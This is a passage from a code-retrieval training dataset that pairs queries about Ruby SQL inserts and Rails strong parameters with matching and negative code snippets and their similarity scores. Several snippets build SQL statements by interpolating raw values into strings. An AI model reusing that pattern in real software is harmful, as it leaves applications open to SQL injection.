"def field_find(**args)\n # if looking for a specific field, use built-in hash for initial filter,\n # otherwise get all fields.\n fields_in_scope =\n if args[:tag].is_a?(String)\n fields(args[:tag]).dup\n else\n @fields.dup\n end\n fields_in_scope.each { |f| return f if f.meets_criteria?(args) }\n nil\n end"
] |
[
"0.7117951",
"0.6938023",
"0.6840446",
"0.68306816",
"0.67749023",
"0.67614865",
"0.66215134",
"0.65522325",
"0.65301746",
"0.64287704",
"0.64254075",
"0.63622934",
"0.6319908",
"0.6259415",
"0.6109502",
"0.61088145",
"0.61066574",
"0.6098097",
"0.60145175",
"0.6007208",
"0.59813195",
"0.59737676",
"0.59555304",
"0.59157807",
"0.59129006",
"0.58928525",
"0.5853671",
"0.5846312",
"0.5836199",
"0.5822494",
"0.58097667",
"0.58051085",
"0.57966405",
"0.5794413",
"0.57689166",
"0.5756199",
"0.57501227",
"0.57217205",
"0.5699702",
"0.5689927",
"0.5679338",
"0.5679338",
"0.5679334",
"0.5673698",
"0.5673269",
"0.56667894",
"0.566057",
"0.5660365",
"0.5656814",
"0.56520045",
"0.5641509",
"0.56351954",
"0.5620547",
"0.5595553",
"0.5584097",
"0.5566506",
"0.55621153",
"0.5528592",
"0.5523802",
"0.5510323",
"0.55092555",
"0.54993194",
"0.5495562",
"0.5485703",
"0.54489225",
"0.54452",
"0.54373926",
"0.54352665",
"0.54255193",
"0.542519",
"0.541697",
"0.540663",
"0.5400822",
"0.5400342",
"0.5379052",
"0.5378865",
"0.5378732",
"0.5368506",
"0.53638655",
"0.53623956",
"0.53622496",
"0.53554165",
"0.53454995",
"0.5344323",
"0.53336054",
"0.5332675",
"0.5328964",
"0.5327957",
"0.53262657",
"0.53224874",
"0.5318799",
"0.530682",
"0.5303651",
"0.52884847",
"0.52880794",
"0.52837825",
"0.52741486",
"0.5273022",
"0.5255103",
"0.52530223"
] |
0.6502808
|
9
|
inserts based of another table. useful when copying rows between tables. DO NOT USE...
|
def insert_select(params = {})
db_str = GenInsert.insert_select(params)
#@log.debug db_str
@client.run db_str
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def insert_into(table, data)\n\t\tkeys = \"(#{data.keys.join(', ')})\"\n\t\tvalues = \"(#{data.values.map{ |value| \"'#{value}'\" }.join(', ')})\"\n\t\texecute_with_retry \"INSERT INTO #{table} #{keys} VALUES #{values}; \"\n\tend",
"def insert(object, table)\n sql = object.to_sql(table)\n execute(sql)\n end",
"def insert_into_sql(sql)\n sql << \" INTO \"\n if (f = @opts[:from]) && f.length == 1\n identifier_append(sql, server_version >= 90500 ? f.first : unaliased_identifier(f.first))\n else\n source_list_append(sql, f)\n end\n end",
"def to_insert(output, table, row)\n columns = @columns[table].map {|i| i[0] }.join(',')\n values = map_values(row, @columns[table])\n output << \"INSERT INTO #{table} (#{columns}) VALUES (#{values});\\n\"\n end",
"def copy_rows( field, \n table_struct, \n src_table_name = TABLE_NAME, \n dest_table_name = NEW_TABLE_NAME, \n num_rows = ROWS_PER_TRANSACTION)\n rows = grab_rows(field, src_table_name, num_rows)\n keys_for_delete = insert_rows(rows, field, table_struct, dest_table_name)\n keys_for_delete\nend",
"def insert(table, id, attributes) # abstract\n end",
"def insert_record(table, values)\n execute table_insert_query(table, values)\n end",
"def exec_insert(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def insert(table,doc)\n connection.insert(path(table),doc)\n end",
"def copy_table(old_table_name, new_table_name)\n transaction do\n execute \"CREATE TABLE #{new_table_name} LIKE #{old_table_name}\"\n execute \"INSERT INTO #{new_table_name} SELECT * FROM #{old_table_name}\"\n end\n end",
"def exec_insert(sql, name, binds)\n exec_query(sql, name, binds)\n end",
"def insert(other)\n other = coerce(other)\n insert_left(other).join(insert_right(other))\n end",
"def copy_table(old_table_name, new_table_name)\n transaction do\n execute \"CREATE TABLE #{new_table_name} LIKE #{old_table_name}\"\n execute \"INSERT INTO #{new_table_name} SELECT * FROM #{old_table_name}\"\n end\n end",
"def insert(p0, p1) end",
"def make_insert(table, columns, fields, row)\n statement = \"INSERT INTO #{table['name']} (#{fields.join(',')}) VALUES (\"\n values = []\n fields.each do |field|\n values << make_val(row[field], columns[field])\n end\n statement << \"#{values.join(',')});\\n\"\n statement\n end",
"def insert(values)\n primary_key_value = nil\n\n if primary_key && Hash === values\n primary_key_value = values[values.keys.find { |k|\n k.name == primary_key\n }]\n\n if !primary_key_value && connection.prefetch_primary_key?(klass.table_name)\n primary_key_value = connection.next_sequence_value(klass.sequence_name)\n values[klass.arel_table[klass.primary_key]] = primary_key_value\n end\n end\n\n im = arel.create_insert\n\n # ****** BEGIN PARTITIONED PATCH ******\n actual_arel_table = @klass.dynamic_arel_table(Hash[*values.map{|k,v| [k.name,v]}.flatten]) if @klass.respond_to?(:dynamic_arel_table)\n actual_arel_table = @table unless actual_arel_table\n # Original line:\n # im.into @table\n im.into actual_arel_table\n # ****** END PARTITIONED PATCH ******\n\n conn = @klass.connection\n\n substitutes = values.sort_by { |arel_attr,_| arel_attr.name }\n binds = substitutes.map do |arel_attr, value|\n [@klass.columns_hash[arel_attr.name], value]\n end\n\n substitutes.each_with_index do |tuple, i|\n tuple[1] = conn.substitute_at(binds[i][0], i)\n end\n\n if values.empty? # empty insert\n im.values = Arel.sql(connection.empty_insert_statement_value)\n else\n im.insert substitutes\n end\n\n conn.insert(\n im,\n 'SQL',\n primary_key,\n primary_key_value,\n nil,\n binds)\n end",
"def sql_insert_into_select(insertion_table, selection, options = {})\n InsertIntoSelect.new insertion_table, selection, options\n end",
"def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)\n exec_query(sql, name, binds)\n end",
"def _merge_insert_sql(sql, data)\n sql << \" THEN INSERT \"\n columns, values = _parse_insert_sql_args(data[:values])\n _insert_columns_sql(sql, columns)\n if override = data[:override]\n sql << override\n end\n _insert_values_sql(sql, values)\n end",
"def insert(sql, name = nil, pk = nil, id_value = nil) end",
"def exec_insert(sql, name = nil, binds = []) #:nodoc:\r\n log(sql, \"insert\", binds) { query(sql, binds) }\r\n end",
"def insert_rows(rows, field, table_struct, dest_table_name = NEW_TABLE_NAME)\n fields = get_fields(table_struct)\n insert_tmplt = row_sql_insert(dest_table_name, table_struct)\n primary_keys = get_pkey_fields(table_struct) \n errs = []\n row_action_data = []\n del_keys = []\n \n if (rows) then\n rows.each_hash do | row |\n row_action_data << {\n :sql_insert => make_sql_insert_row(fields, insert_tmplt, row), \n :key => make_key_hash_for_row(primary_keys, row)\n }\n end\n end\n\n row_action_data.each { |row|\n begin\n dbres = do_sql_command(row[:sql_insert])\n if dbres.nil?\n del_keys << row[:key]\n end\n rescue Mysql::Error\n if !($! =~ /^Duplicate entry .* for key/).nil?\n # i'll consider a duplicate entry okay for a delete\n LOGGER.warn \"Database error! Duplicate key found on insert, marking for deletion anyway, moving on: #{$!}\"\n del_keys << row[:key]\n else\n #errs << \"Database error, moving on: #{$!}\"\n LOGGER.error \"Database error, not sure what, moving on: #{$!}\"\n end\n end\n }\n\n del_keys\nend",
"def merge_insert(*values, &block)\n h = {:type=>:insert, :values=>values}\n if override = @opts[:override]\n h[:override] = insert_override_sql(String.new)\n end\n _merge_when(h, &block)\n end",
"def _insert\n return super if model.cti_tables.length == 1\n model.cti_models.each do |m|\n v = {}\n m.cti_table_columns.each{|c| v[c] = @values[c] if @values.include?(c)}\n ds = use_server(m.cti_instance_dataset)\n if ds.supports_insert_select? && (h = ds.insert_select(v))\n @values.merge!(h)\n else\n nid = ds.insert(v)\n @values[primary_key] ||= nid\n end\n end\n db.dataset.supports_insert_select? ? nil : @values[primary_key]\n end",
"def table_insert_query(table, values)\n query = \"insert into #{quote_table_name(table)}\"\n query << '(' << values.keys.map do |column_name|\n quote_column_name(column_name)\n end.join(', ') << ') '\n query << 'values(' << values.map do |column_name, value|\n quote_value(table, column_name, value)\n end.join(', ') << ')'\n query\n end",
"def linsert(key, where, pivot, value); end",
"def linsert(key, where, pivot, value); end",
"def execute_insert(sql, opts={})\n synchronize(opts[:server]) do |conn|\n conn.execute(sql)\n insert_result(conn, opts[:table], opts[:values])\n end\n end",
"def visit_Arel_Nodes_InsertStatement o, *a\n [\n \"INSERT INTO #{visit(o.relation).gsub(/\"/, '')}\",\n \"(#{o.columns.map { |x| x.name }.join ', '})\",\n \" VALUES (#{o.values.left.map { |value| value }.join ', '})\"\n ].compact.join ' '\n end",
"def insert!(*rows)\n Mao.sql(with_options(:insert => rows.flatten).sql) do |pg_result|\n if @options[:returning]\n pg_result.map {|result| Mao.normalize_result(result, @col_types)}\n else\n pg_result.cmd_tuples\n end\n end\n end",
"def insert_facet(table, type, second_type = nil)\n second_condition = second_type == nil ? nil : \"OR type = '#{second_type}'\"\n\n $db.execute <<-SQL\n INSERT INTO destination.#{table}\n SELECT id, name, created_at, updated_at\n FROM source.facets\n INNER JOIN (SELECT facet_id, type FROM source.facet_series)\n AS facet_series\n ON (facet_series.facet_id = source.facets.id)\n WHERE type = '#{type}' #{second_condition}\n GROUP BY name;\n SQL\nend",
"def to_inserts(args={})\n args[:table] ||= Pathname.new(@filename).basename.to_s.downcase.gsub(/\\W/, '_')\n args[:before] ||= @@defaults[:before]\n args[:after] ||= @@defaults[:after]\n insert_sql = args[:ignore] ? 'insert ignore' : 'insert'\n if args[:bulk]\n args[:before] += \"#{insert_sql} into #{args[:table]} values\"\n args[:values_glue] ||= \", \"\n args[:row_format] ||= \" (%s)\"\n args[:row_glue] ||= \",\\n\"\n else\n args[:before] ||= \"\"\n args[:values_glue] ||= \", \"\n args[:row_format] ||= \"#{insert_sql} into #{args[:table]} values(%s)\"\n args[:row_glue] ||= \";\\n\"\n end\n to_any args\n end",
"def row_sql_insert(table_name, table_struct)\n fields = get_fields(table_struct)\n\n sql = <<-EOF\n INSERT INTO `#{DBNAME}`.`#{table_name}` (\n #{fields.collect { |f| \"`#{f}`\" }.join(\", \")}\n )\n VALUES (\n #{fields.collect { |f| \"'%s'\" }.join(\", \")}\n );\n EOF\n\n sql\nend",
"def insert_by_data data, table\n sql = \"insert into #{table} \"\n case data\n when Array\n data.each do |d|\n insert_by_data(d, table)\n end\n when Hash\n columns = data.keys.to_s.gsub('[','(').gsub(']',')').gsub('\"','')\n values = data.values.to_s.gsub('[','(').gsub(']',')').gsub('nil','NULL')\n sql = sql + columns + \" values \" + values\n query(sql)\n end\n end",
"def insert_table(table, identifier, data)\n if existing_data = get_table(table, identifier)\n if existing_data.empty? || !existing_data.has_key?('.members')\n data.each { |key, value| existing_data[key] = value }\n return data\n else\n error_report \"Error in insert_table: Redefinition of #{identifier}\"\n raise ParseError\n end\n end\n\n table['table_data'].push([identifier, data])\n table['quick_look'][identifier] = 1\n return data\nend",
"def insert_table(table, identifier, data)\n if existing_data = get_table(table, identifier)\n if existing_data.empty? || !existing_data.has_key?('.members')\n data.each { |key, value| existing_data[key] = value }\n return data\n else\n error_report \"Error in insert_table: Redefinition of #{identifier}\"\n raise ParseError\n end\n end\n\n table['table_data'].push([identifier, data])\n table['quick_look'][identifier] = 1\n return data\nend",
"def add_to (table_name,title,code)\r\n\t\"INSERT INTO \" + table_name + \r\n\t\"(title,code) VALUES \r\n\t('\" + title + \"','\" + code + \"')\"\r\nend",
"def copy_table_data(from, to, remaps = [])\n old = columns(from).collect(&:name)\n current = columns(to).collect(&:name)\n remapped_columns = remaps.collect {|c| c.first.to_s}.compact\n common = (current & old).sort - remapped_columns\n from_columns = common.collect {|c| \"`#{c}`\"}\n to_columns = common.collect {|c| \"`#{c}`\"}\n remaps.each do |remap|\n remap = [remap].flatten\n next if remap.length != 2\n from_columns << remap.first\n to_columns << remap.last\n end\n from_columns_to_s = from_columns.join(', ')\n to_columns_to_s = to_columns.join(', ')\n execute \"INSERT INTO #{to}(#{to_columns_to_s}) SELECT #{from_columns_to_s} FROM #{from}\"\n end",
"def insert()\n\n end",
"def copy_to(db, args = {})\r\n data[\"tables\"].each do |table|\r\n table_args = nil\r\n table_args = args[\"tables\"][table[\"name\"].to_s] if args and args[\"tables\"] and args[\"tables\"][table[\"name\"].to_s]\r\n next if table_args and table_args[\"skip\"]\r\n table.delete(\"indexes\") if table.key?(\"indexes\") and args[\"skip_indexes\"]\r\n db.tables.create(table[\"name\"], table)\r\n \r\n limit_from = 0\r\n limit_incr = 1000\r\n \r\n loop do\r\n ins_arr = []\r\n q_rows = self.select(table[\"name\"], {}, {\"limit_from\" => limit_from, \"limit_to\" => limit_incr})\r\n while d_rows = q_rows.fetch\r\n col_args = nil\r\n \r\n if table_args and table_args[\"columns\"]\r\n d_rows.each do |col_name, col_data|\r\n col_args = table_args[\"columns\"][col_name.to_s] if table_args and table_args[\"columns\"]\r\n d_rows[col_name] = \"\" if col_args and col_args[\"empty\"]\r\n end\r\n end\r\n \r\n ins_arr << d_rows\r\n end\r\n \r\n break if ins_arr.empty?\r\n \r\n db.insert_multi(table[\"name\"], ins_arr)\r\n limit_from += limit_incr\r\n end\r\n end\r\n end",
"def sql_insert(record)\n flds, vals = parse_fldsvalues(record)\n ph = vals.map{|x| placeholder }\n\n sql = %Q|insert into #{quoted_table}\n ( #{flds.join ','} )\n output inserted.#{quote_field id_fld}\n values( #{ph.join ','} );|\n\n [sql, vals]\n end",
"def multi_insert_sql(columns, values)\n table = quote_identifier(@opts[:from].first)\n columns = literal(columns)\n values.map do |r|\n \"INSERT INTO #{table} #{columns} VALUES #{literal(r)}\"\n end\n end",
"def copy_table(old_table_name, new_table_name)\r\n execute add_select_into_table(new_table_name, \"SELECT * FROM #{old_table_name}\")\r\n end",
"def dump_insert_multi(io, table_obj, rows)\n print \"Inserting #{rows.length} into #{table_obj.name}.\\n\" if @debug\n sqls = @args[:db].insert_multi(table_obj.name, rows, :return_sql => true, :keys => @keys)\n sqls.each do |sql|\n io.write(\"#{sql};\\n\")\n end\n \n rows.clear\n \n #Ensure garbage collection or we might start using A LOT of memory.\n GC.start\n end",
"def insert_table dataset_id, new_table_gapi\n execute { service.insert_table @project, dataset_id, new_table_gapi }\n end",
"def insert(table_name)\n if table_name == \"authors\"\n DATABASE.execute(\"INSERT INTO authors (name) VALUES ('#{@name}')\")\n @id = DATABASE.last_insert_row_id\n \n elsif table_name == \"location_keys\"\n DATABASE.execute(\"INSERT INTO location_keys (location_name, street, city, \n state, country, address, latitude, longitude) \n \n VALUES ('#{@location_name}', '#{@street}', '#{@city}', '#{@state}', \n '#{@country}', '#{@address}', #{@latitude}, #{@longitude})\")\n \n @id = DATABASE.last_insert_row_id\n \n elsif table_name == \"articles\"\n DATABASE.execute(\"INSERT INTO articles (date, author, text, title) \n \n VALUES ('#{@date}', #{@author}, '#{@text}', '#{@title}')\")\n \n @id = DATABASE.last_insert_row_id\n \n elsif table_name == \"articles_with_locations\"\n DATABASE.execute(\"INSERT INTO articles_with_locations (article_id, location_id) \n \n VALUES (#{@article_id}, #{@location_id})\")\n \n end #if loop\n \n end",
"def generate_pg_insert_query(table_name, keys, rows)\n \"INSERT INTO #{table_name}(#{keys.map { |i| \"\\\"#{i}\\\"\" }.join(',')}) VALUES(#{keys.map { |i| rows[i] == nil ? 'NULL' : \"'\" + pg_conn.escape_string(rows[i]) + \"'\" }.join(',')});\\n\"\n end",
"def insert_data(output, db, table)\n result = query(db, \"SELECT * FROM #{table}\", \"hash\")\n changes = false\n result.each do |row|\n to_insert(output, table, row)\n changes = true\n end\n output << \"\\n\" if changes\n end",
"def fast_insert(rows, base_cmd, end_cmd = '')\n RawDB.fast_insert(db, rows, base_cmd, end_cmd)\n end",
"def dump_insert_multi(io, table_obj, rows)\n debug \"Inserting #{rows.length} into #{table_obj.name}.\"\n sqls = @export_db.insert_multi(\n table_obj.name,\n rows,\n replace_line_breaks: true,\n return_sql: true,\n keys: @keys\n )\n sqls.each do |sql|\n io.write(\"#{sql};\\n\")\n end\n\n rows.clear\n\n # Ensure garbage collection or we might start using A LOT of memory.\n GC.start\n end",
"def insert(key, values, opt={})\n do_op(:insert, column_family, key, values, opt)\n end",
"def insert(key, values, opt={})\n do_op(:insert, column_family, key, values, opt)\n end",
"def insert_fixture(fixture, table_name)\n execute \"INSERT INTO #{quote_table_name(table_name)} (#{fixture.key_list}) VALUES (#{fixture.value_list})\", 'Fixture Insert'\n end",
"def insert_facet_series(table, type, select = 'facet_id, series_id')\n $db.execute <<-SQL\n INSERT INTO destination.#{table}\n SELECT #{select}\n FROM facet_series\n WHERE type = '#{type}';\n SQL\nend",
"def insert(tuples)\n pks = tuples.map { |tuple| relation.insert(tuple) }\n relation.where(relation.primary_key => pks).to_a\n end",
"def copy_table(old_table_name, new_table_name)\n execute add_select_into_table(new_table_name, \"SELECT * FROM #{old_table_name}\")\n end",
"def ins table, col, val\n pst = @con.prepare 'INSERT INTO ' + s(table) + '(' + s(col) + ') VALUES(?)'\n pst.execute s(val)\n #puts 'INSERT INTO ' + s(table) + '(' + s(col) + ') VALUES(' + s(val) + ')'\n end",
"def _insert_raw(ds)\n ds.insert(_insert_values)\n end",
"def _insert_raw(ds)\n ds.insert(_insert_values)\n end",
"def execute_insert(sql, opts=OPTS)\n _execute(sql, opts){|conn| log_connection_yield(sql, conn){conn.execute_batch(sql)}; conn.last_insert_rowid}\n end",
"def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n table = sql.split(\" \", 4)[2]\n super || last_insert_id(table, sequence_name || default_sequence_name(table, pk))\n end",
"def db_insert table, fields= {}\n #client = Mysql2::Client.new(:host => \"localhost\", :username => \"root\", :password => \"toor\", :database => \"filesorter\")\n @query= \"INSERT INTO `#{table}` (`#{fields.keys.join('`, `')}`) VALUES ('\"+fields.values.join(\"', '\")+\"');\"\n do_query\n end",
"def insert_select(*values)\n with_sql_first(insert_select_sql(*values))\n end",
"def insert_sql(sql, name = nil, pri_key = nil, id_value = nil, sequence_name = nil)\n unless pri_key\n table_ref = extract_table_ref_from_insert_sql(sql)\n pri_key = primary_key(table_ref) if table_ref\n end\n\n if pri_key\n select_value(\"#{sql} RETURNING #{quote_column_name(pri_key)}\")\n else\n super\n end\n end",
"def sql_for_insert(sql, pk, id_value, sequence_name, binds)\n unless pk\n table_ref = extract_table_ref_from_insert_sql(sql)\n pk = primary_key(table_ref) if table_ref\n end\n\n sql = \"#{sql} RETURNING #{quote_column_name(pk)}\" if pk\n\n [sql, binds]\n end",
"def insert()\n\n # Kräver att det finns ett \"set_table(\"Table\")\" i klassen\n @insertable_vars_full = self.instance_variables # Ta med namnen user.username osv\n @insertable_vars_full.shift(1) # Kinda frisky\n @insertable_vars = []\n @insertable_values = []\n @insertable_vars_full.each do |var|\n @insertable_vars << var[1..-1]\n @insertable_values << self.instance_variable_get(var)\n end\n\n\n @insertable_vars_str = @insertable_vars.join(\", \")\n\n @question_marks = \"\"\n @insertable_vars.each do |key|\n @question_marks.concat(\"?,\")\n end\n @question_marks = @question_marks[0..-2]\n\n DB.execute(\"INSERT INTO #{@table} (#{@insertable_vars_str})\n VALUES (#{@question_marks})\", @insertable_values)\n\n end",
"def copy_new_rows\n tables.each(&:copy_new_rows)\n end",
"def insert(*values)\n if @opts[:sql] || @opts[:returning]\n super\n else\n returning(insert_pk).insert(*values){|r| return r.values.first}\n end\n end",
"def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n insert_sql(sql, name, pk, id_value, sequence_name)\n end",
"def insert_in_database\n Fetch.new(insertion_query).array\n end",
"def linsert(key, where, pivot, value)\n send_command([:linsert, key, where, pivot, value])\n end",
"def insert_statement(statement)\n self.inserts << statement\n end",
"def insert_statement(statement)\n self.inserts << statement\n end",
"def insert values\n im = InsertManager.new @engine\n im.insert values\n @engine.connection.insert im.to_sql\n end",
"def multi_insert_sql_strategy\n :union\n end",
"def execute_insert(sql, opts=OPTS)\n execute(sql, opts.merge(:meth=>:autoid))\n end",
"def extend_table(new_entry, table)\n\t\ttable.unshift new_entry\n\tend",
"def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n # Extract the table from the insert sql. Yuck.\n table = sql.split(\" \", 4)[2].gsub('\"', '')\n\n # Otherwise, insert then grab last_insert_id.\n if insert_id = super\n insert_id\n else\n # If neither pk nor sequence name is given, look them up.\n unless pk || sequence_name\n pk, sequence_name = *pk_and_sequence_for(table)\n end\n\n # If a pk is given, fallback to default sequence name.\n # Don't fetch last insert id for a table without a pk.\n if pk && sequence_name ||= default_sequence_name(table, pk)\n last_insert_id(table, sequence_name)\n end\n end\n end",
"def table_name_for_insert\r\n self.class.table_name\r\nend",
"def insert_fixture(fixture, table_name)\n #columns = schema_cache.columns_hash(table_name)\n #\n #key_list = []\n #value_list = fixture.map do |name, value|\n # key_list << quote_column_name(name)\n # quote(value, columns[name])\n #end\n #\n #execute \"INSERT INTO #{quote_table_name(table_name)} (#{key_list.join(', ')}) VALUES (#{value_list.join(', ')})\", 'Fixture Insert'\n raise NotImplementedError, \"#{caller_locations(0).first.base_label} not implemented\"\n end",
"def insert(index,object)\n\nend",
"def insert row_ind, count=1\n @row_refs.insert(row_ind,count)\n end",
"def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n return super if id_value\n pk = pk_from_insert_sql(sql) unless pk\n select_value(\"#{sql} RETURNING #{quote_column_name(pk)}\")\n end",
"def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n return super if id_value\n pk = pk_from_insert_sql(sql) unless pk\n select_value(\"#{sql} RETURNING #{quote_column_name(pk)}\")\n end",
"def insert\n col_names = self.class.columns.join(\", \")\n question_marks = ([\"?\"] * self.class.columns.length).join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def _insert(*)\n fail NotImplementedError\n end",
"def insert_sql(*values)\n if values.empty?\n insert_default_values_sql\n else\n values = values[0] if values.size == 1\n \n # if hash or array with keys we need to transform the values\n if @transform && (values.is_a?(Hash) || (values.is_a?(Array) && values.keys))\n values = transform_save(values)\n end\n from = source_list(@opts[:from])\n\n case values\n when Array\n if values.empty?\n insert_default_values_sql\n else\n \"INSERT INTO #{from} VALUES #{literal(values)}\"\n end\n when Hash\n if values.empty?\n insert_default_values_sql\n else\n fl, vl = [], []\n values.each {|k, v| fl << literal(k.is_a?(String) ? k.to_sym : k); vl << literal(v)}\n \"INSERT INTO #{from} (#{fl.join(COMMA_SEPARATOR)}) VALUES (#{vl.join(COMMA_SEPARATOR)})\"\n end\n when Dataset\n \"INSERT INTO #{from} #{literal(values)}\"\n else\n if values.respond_to?(:values)\n insert_sql(values.values)\n else\n \"INSERT INTO #{from} VALUES (#{literal(values)})\"\n end\n end\n end\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end",
"def table_name_for_insert\n self.class.table_name\n end"
] |
[
"0.7146172",
"0.7024446",
"0.68548423",
"0.6767777",
"0.67498416",
"0.67214227",
"0.67088115",
"0.6475774",
"0.64506775",
"0.64421725",
"0.6380909",
"0.63599294",
"0.6357327",
"0.6353127",
"0.63519925",
"0.63034964",
"0.62900496",
"0.6283792",
"0.6277418",
"0.6251403",
"0.62068856",
"0.6193787",
"0.6183104",
"0.6173834",
"0.6162221",
"0.6154535",
"0.6154535",
"0.61307627",
"0.61198187",
"0.61014766",
"0.6095332",
"0.6077718",
"0.60708976",
"0.60651284",
"0.6053125",
"0.6053125",
"0.6045207",
"0.6026266",
"0.60227376",
"0.60184956",
"0.601767",
"0.6012883",
"0.6005025",
"0.5997532",
"0.5983796",
"0.5964026",
"0.5960169",
"0.59305227",
"0.5927838",
"0.59194964",
"0.59071153",
"0.59071153",
"0.590379",
"0.58791256",
"0.5877699",
"0.5864001",
"0.58569837",
"0.58521664",
"0.58521664",
"0.58379143",
"0.5835359",
"0.58325684",
"0.5819631",
"0.5813751",
"0.58042425",
"0.5782638",
"0.5779213",
"0.57779765",
"0.57769865",
"0.5764585",
"0.5752678",
"0.57366174",
"0.57366174",
"0.57268566",
"0.57232445",
"0.5721535",
"0.5701714",
"0.5692784",
"0.5683943",
"0.5676821",
"0.5665713",
"0.56650484",
"0.56648666",
"0.56648666",
"0.56613606",
"0.564907",
"0.5646781",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074",
"0.5641074"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def event_params
params.require(:event).permit(:name, :date, :time, :location, :purpose)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
